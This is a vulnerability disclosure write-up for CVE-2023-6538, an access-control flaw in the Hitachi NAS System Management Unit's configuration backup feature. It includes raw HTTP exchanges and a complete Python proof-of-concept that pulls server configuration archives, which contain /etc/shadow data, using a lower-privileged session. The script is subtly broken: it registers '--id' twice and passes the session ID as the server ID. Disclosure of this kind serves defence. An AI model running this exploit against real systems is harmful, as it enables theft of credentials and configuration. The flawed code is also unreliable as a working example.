CVE-2023-6538

CVE-2023-6538 is an Insecure Direct Object Reference (IDOR) in vulnerability found in Hitachi NAS' (HNAS') System Management Unit (SMU) Configuration Backup & Restore functionality. This vulnerability affects SMU versions prior to 14.8.7825.01.

Exploitation

This exploit requires the attacker to have control over the credentials of a user account that is not Read-Only or Global Administrator, i.e.:

• Storage Administrator
• Server Administrator
• Server + Storage Administrator

By design, users with the Global Administrator role should be able to access SMU's Configuration Backup & Restore functionality, located at https://<HOSTNAME/FQDN/IP>/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid=1 and send the following request, which would create and download the backup of the selected server's (i.e. a server that is connected to the SMU) configuration:

GET /mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid=1 HTTP/1.1
Host: REDACTED
Cookie: JSESSIONID=REDACTED; JSESSIONIDSSO=REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://REDACTED/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

If the request is successful, the SMU responds with the following response and starts the download of registry_data.tgz:

HTTP/1.1 200 
Cache-Control: PRIVATE
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
P3P: CP="NOI DSP CUR ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Pragma: cache
Content-Disposition: attachment;filename=registry_data.tgz
Content-Type: application/download
Content-Length: 3169247
Date: Fri, 14 Apr 2023 09:30:03 GMT
Connection: close
Server: SMU

[DATA]

However, due to an oversight in SMU's business logic, an attacker with access to a Storage Administrator, Server Administrator or Server + Storage Administrator account can update the JSESSIONID and JSESSIONIDSSO cookies to match the cookies of the user that they are in possession of, allowing them to download the configuration archive. Additionally, the attacker can also update the serverid parameter in the request to enumerate and download the configuration archive of different servers connected to the SMU.

Thus, a script like CVE-2023-6538.py could be used to exploit this vulnerability:

#!/usr/bin/python3
#
# Title:            Hitachi NAS (HNAS) System Management Unit (SMU) Configuration Backup & Restore IDOR Vulnerability 
# CVE:              CVE-2023-6538
# Date:             2023-12-13
# Exploit Author:   Arslan Masood (@arszilla)
# Vendor:           https://www.hitachivantara.com/
# Version:          < 14.8.7825.01
# Tested On:        13.9.7021.04     

import argparse
from os import getcwd

import requests

parser = argparse.ArgumentParser(
    description="CVE-2023-6538 PoC",
    usage="./CVE-2023-6538.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
    )

# Create --host argument:
parser.add_argument(
    "--host",
    required=True,
    type=str,
    help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
    )

# Create --id argument:
parser.add_argument(
    "--id",
    required=True,
    type=str,
    help="JSESSIONID cookie value"
    )

# Create --sso argument:
parser.add_argument(
    "--sso",
    required=True,
    type=str,
    help="JSESSIONIDSSO cookie value"
    )

# Create --id argument:
parser.add_argument(
    "--id",
    required=True,
    type=str,
    help="Server ID value"
    )

args = parser.parse_args()

def download_file(hostname, jsessionid, jsessionidsso, serverid):
    # Set the filename:
    filename = "registry_data.tgz"

    # Vulnerable SMU URL:
    smu_url = f"https://{hostname}/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid={serverid}"

    # GET request cookies
    smu_cookies = {
        "JSESSIONID":       jsessionid,
        "JSESSIONIDSSO":    jsessionidsso
        }

    # GET request headers:
    smu_headers = {
        "User-Agent":                   "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
        "Accept":                       "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language":              "en-US,en;q=0.5",
        "Accept-Encoding":              "gzip, deflate",
        "Dnt":                          "1",
        "Referer":                      f"https://{hostname}/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored",
        "Upgrade-Insecure-Requests":    "1",
        "Sec-Fetch-Dest":               "document",
        "Sec-Fetch-Mode":               "navigate",
        "Sec-Fetch-Site":               "same-origin",
        "Sec-Fetch-User":               "?1",
        "Te":                           "trailers",
        "Connection":                   "close"
        }

    # Send the request:
    with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
        with open(filename, 'wb') as backup_archive:
            # Write the zip file to the CWD:
            backup_archive.write(file_download.content)

    print(f"{filename} has been downloaded to {getcwd()}")

if __name__ == "__main__":
    download_file(args.host, args.id, args.sso, args.id)

The justification of the CVSS v3.1 score of 7.6 could be further understood by examining registry_data.tgz:

$ tree -a
.
├── backup.properties
├── registry5.11.db1
├── registry5.13.db1
├── registry5.14.db1
├── registry5.15.db1
├── registry5.1.db1
├── registry5.2.db1
├── registry5.3.db1
├── registry5.4.db1
├── registry5.5.db1
├── registry5.6.db1
├── registry5.7.db1
├── registry5.8.db1
└── registry5.db1

1 directory, 14 files

The .tgz archive contains various settings and information about the server that is connected to the SMU:

As seen in the redacted image above, registry5.db1 contains the contents of /etc/shadow (which was found via regex) of the selected server.

Notes

This vulnerability is a "sister vulnerability" to CVE-2023-5808.

References

• CVE-2023-5808
• CVE-2023-6538
• Hitachi Vantara Security Bulletin for CVE-2023-6538

Timeline

• 2020-04-12 - Vulnerability discovered
• 2023-04-20 - Vulnerability reported to [email protected]
• 2023-08-11 - Initial CVE number assignment
• 2023-12-06 - CVE numbers re-assigned
• 2023-12-11 - CVE numbers re-assigned
• 2023-12-11 - CVE published
• 2023-12-13 - Public disclosure